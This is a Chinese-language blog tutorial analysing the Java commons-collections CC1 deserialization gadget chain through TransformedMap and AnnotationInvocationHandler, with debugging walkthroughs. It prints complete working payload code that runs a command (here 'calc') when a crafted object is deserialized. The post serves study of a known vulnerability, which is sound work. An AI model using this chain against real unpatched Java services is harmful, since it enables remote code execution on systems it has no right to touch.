freeBuf
java反序列化CC1 TransformedMap链
2023-05-25 11:10:28
所属地 广东省

运行环境

jdk版本:1.7.0_80

commons-collections-3.2

调用链

/**
* ObjectInputStream.readObject()
* AnnotationInvocationHandler.readObject()
* MapEnty.setValue()
* TransformedMap.checkSetValue()
* ChainedTransformer.transform()
* ConstantTransformer.transform()
* InvokerTransformer.transform()
* Method.invoke()
* Class.getMethod()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.getRuntime()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.exec()
*
*/

调用流程

InvokerTransformer.transform()

此方法进行了一次反射调用,且所有参数都可控

1683466112_6457a780da245fcba5281.png!small

methodName: 方法名称

paramType:参数类型

args:  传入方法的参数

input:  执行方法的对象

通过利用InvokerTransformer.transform()弹出计算器

1683466610_6457a9728e88bb3f48f61.png!small?1683466610512







调用了三次transform()方法

第一次调用执行的方法是getMethod,参数是getRuntime,执行对象为Runtime.class。返回了Runtime.getRuntime这个方法。

第二次调用执行的方法是invoke,参数为空,执行对象为Runtime.getRuntime方法。返回了Runtime对象。

第三次调用的方法是exec,参数为calc,执行对象为Runtime对象。执行命令弹出计算器。

可用看出下一次执行的对象是上一次方法执行的结果。ChainedTransformer.transformer()方法刚好是一个循环执行。

ChainedTransformer.transformer()

此方法对一个Transformer[]列表执行了循环调用,且调用的参数以及对象都由外部传入。


1683467451_6457acbba3cca044cbe2e.png!small?1683467451582








Transformer[]列表由构造方法传入,在transform方法中对列表里中的对象循环调用其自身的transform方法,且下次调用的参数为上次调用执行的结果。可通过此方法对InvokerTransformer.transform()弹计算器的方法进行改写

1683467812_6457ae2463b749f5b8b54.png!small?1683467812320









把三次调用放在Transformer[]列表中。在创建ChainedTransformer对象时将列表传进去,再调用ChainedTransformer对象的transform方法,传入Runtime.class对象。

ConstantTransformer.transform()

ConstantTransformer.transform()方法做了一个简单的转换

1683468820_6457b214641ff06eb9377.png!small?1683468820280






在创建对象时传入Runtime.class,调用ConstantTransformer.transform()时无论传入什么都会将Runtime.class返回。可将ConstantTransformer添加到Transformer[]列表中

1683469021_6457b2ddbbbd678d0b0cf.png!small









添加ConstantTransformer后调用时首先执行ConstantTransformer.transform(),返回Runtime.class,供后续方法执行使用。ChainedTransformer.transform中传入“aaa"依然能弹出计算器,传入的aaa在ConstantTransformer.transform()中被换为Runtime.class。ConstantTransformer.transform()的对象转换作用在后续进行反序列操作时会体现出来。

以上三个方法即为CC链反序列漏洞的危险方法执行链。后续的几个方法可看作为反序列化的入口链。

TransformedMap.checkSetValue()

1683469849_6457b6197313f714ca6a5.png!small?1683469849311

1683469885_6457b63dcb692b479b3ea.png!small?1683469885778

1683469895_6457b647d1134bf41eb89.png!small?1683469895774









checkSetValue()方法中调用了this.valueTransformer的transform方法。如果this.valueTransformer可以由我们控制并定义为ChainedTransformer对象,就可以调用上面介绍的危险函数执行链。this.valueTransformer为构造方法中传入的valueTransformer。构造方法不可直接调用,但在decorate中调用了构造方法,并将自身的valueTransformer传入构造方法中。因此可以利用decorate方法间接将this.valueTransformer定义为ChainedTransformer。

1683471172_6457bb44450a11ce626f5.png!small?1683471172233







构造如上代码,将ChainedTransformer通过TransformedMap.decorate方法传进去。但无法直接调用checkSetValue()方法,因此无法弹出计算器。如果有类调用了checkSetValue()方法,并且执行方法的对象可控,那么可以将TransformedMap对象传入,进行间接调用。

MapEnty.setValue

TransformedMap继承了AbstracInputCheckedMapDecorator类,在此类中的MapEnty.setValue用到了checkSetValue()方法,调用此方法的this.parent由是可控的,因此可以用setValue方法触发TransformedMap的checkSetValue。

1683548415_6458e8ff8de631ab5fbf0.png!small?1683548415185

AnnotationlnvocationHandler.readObject

在此readObject中出现了对setValue方法的调用。调用对象为Entry类型。

1683548744_6458ea48b1204c5bff825.png!small?1683548744198










var5参数相关的this.memberValue可由构造函数传入。但此构造函数不能被直接调用,因此需要通过反射方法生成。

1683550022_6458ef46c0582b35452ec.png!small?1683550022269






在构造时将TransformedMapd对象传入到var2。对AnnotationInvocationHandler对象进行序列化和反序列化,反序列化时调用AnnotationInvocationHandler.readObject方法。在readObject中触发setValue。通过setValue调用checkSetValue(),在checkSetValue中完成整个transform攻击链的调用。

执行调试

根据以上步骤构造payload如下

private void cc() throws Exception {
//transformer执行链
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

};
ChainedTransformer C = new ChainedTransformer(Transformer);

//构造TransformedMap并将命令执行链传入
HashMap<Object, Object> map = new HashMap<>();
map.put("1", "aaa");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, C);

//构造入口类AnnotationInvocationHandler,并将TransformedMap传入
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler.setAccessible(true);
Object o = AnnotationInvocationHandler.newInstance(Override.class, transformedMap);

//序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("a.bin"));
outputStream.writeObject(o);
//反序列化
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("a.bin"));
inputStream.readObject();

}

注意AnnotationInvocationHandler对象要通过反射生成,且生成时传入的第一个对象为注解类的.calss,这里先使用Override.class进行测试。

运行,发现无事发生,没有弹计算器,也没有报错提示。

在AnnotationInvocationHandler.readObject中添加如下断点进行调试

1683550844_6458f27c42765ac40f65f.png!small?1683550843839











逐步调试,发现var7为null

1683551208_6458f3e861938fc737f3e.png!small?1683551207867







直接在if判断中跳出执行了,并没有执行setValue。var7和var3以及var6相关。var6为1,是我们在构造Transforedmap时随意传进去map的key值。

1683551317_6458f455702418e451cba.png!small?1683551316884





再看var3,为var2.memberTypes(),var2又和传入的注解类相关。进入AnnotationType.getInstance方法看var2的生成过程。

1683551402_6458f4aa7f74891cb811d.png!small?1683551401996






对AnnotationType.getInstance打断点进行调试。

1683551723_6458f5eb4eaca57d11b95.png!small?1683551723053







进入new AnnotationType前都为null,进入new AnnotationType方法。

1683551842_6458f662f10f4b206dc9d.png!small?1683551842525







发现对var1.进行了一次反射调用,获取了注解接口的所有方法。传入的Override里没有任何方法,因此var2为空,此类后续的方法基本都基于var2操作,var2为空,则后续的this.memberTypes也就什么都没有。

将payload代码做以下修改

1683552590_6458f94ebf1cb9e476f06.png!small?1683552590325

1683552639_6458f97fbd47493bd7e63.png!small?1683552639229








将map的key值改为value,注解类改为Target.class,此注解中有一个value方法

1683552698_6458f9ba645ba07507902.png!small?1683552697850


再次进行调试,AnnotationInvocationHandler.readObject中的var3 key为Target的方法名value,var6的值也为value,则var7=var3.get(var6)var7不为空,进入后续操作。

1683556377_64590819120e255711cef.png!small?1683556376749









进入MapEntry执行setValue方法,在此方法中调用this.parent.checkSetValue。this.parent为TransformedMap

1683553590_6458fd36dd38fa006bb01.png!small?1683553590405







在TransformedMap.checkSetValue中调用this.valueTransformer.transform。this.valueTransformer为ChainedTransformer

1683554376_64590048cd89974489add.png!small?1683554376377




ChainedTransformer.transform中循环调用Transformer[]列表中的transform方法,注意此时的object为AnnotationTypeMismatchExcept.....对象,并不是Runtim.class

1683554674_64590172bb0b2efde6c55.png!small?1683554674229





Transformer[]列表第一次调用ConstantTransformer.transform()方法,将AnnotationTypeMismatchExcept.....换为Runtime.class

1683555449_645904795d38cb95c9608.png!small?1683555448782








第二次调用InvokerTransformer.transform,此时object已变为Runtime.class

1683554995_645902b3377dc251d82e2.png!small?1683554994680





第三次调用object变为Runtime.getRuntime()

1683555086_6459030e77ee4768e589f.png!small?1683555085915





第四次调用object变为Runtime对象

1683555167_6459035f81d2bd9bbc298.png!small?1683555166986




InvokerTransformer.transform反射执行Runtime对象的exec方法,参数为calc,弹出计算器

1683555360_645904208928e7866c1f4.png!small?1683555360135






以上为反序列java CC1链 TransformedMap方法利用的整个过程

最终payload如下

private void cc() throws Exception {

Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

};
ChainedTransformer C = new ChainedTransformer(Transformer);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "aaa");

Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, C);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler.setAccessible(true);
Object o = AnnotationInvocationHandler.newInstance(Target.class, transformedMap);

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("a.bin"));
outputStream.writeObject(o);

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("a.bin"));
inputStream.readObject();

}

注意事项

1.此条链在jdk1.8以上的大多版本都不使用,1.8版本对AnnotationInvocationHandler.readObject进行了修改,不再调用setValue方法

1683555814_645905e61b207fb9b1236.png!small?1683555813559








2.构造传入TransformedMap时传入Map的key值为后续传入AnnotationInvocationHandler注解类的方法名,若注解类没有方法,则在反序列化中无法调用setValue

以上为java反序列CC1  TransformedMap链的整个利用过程,CC1  LazyMap链利用过程后续也将进行介绍。

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录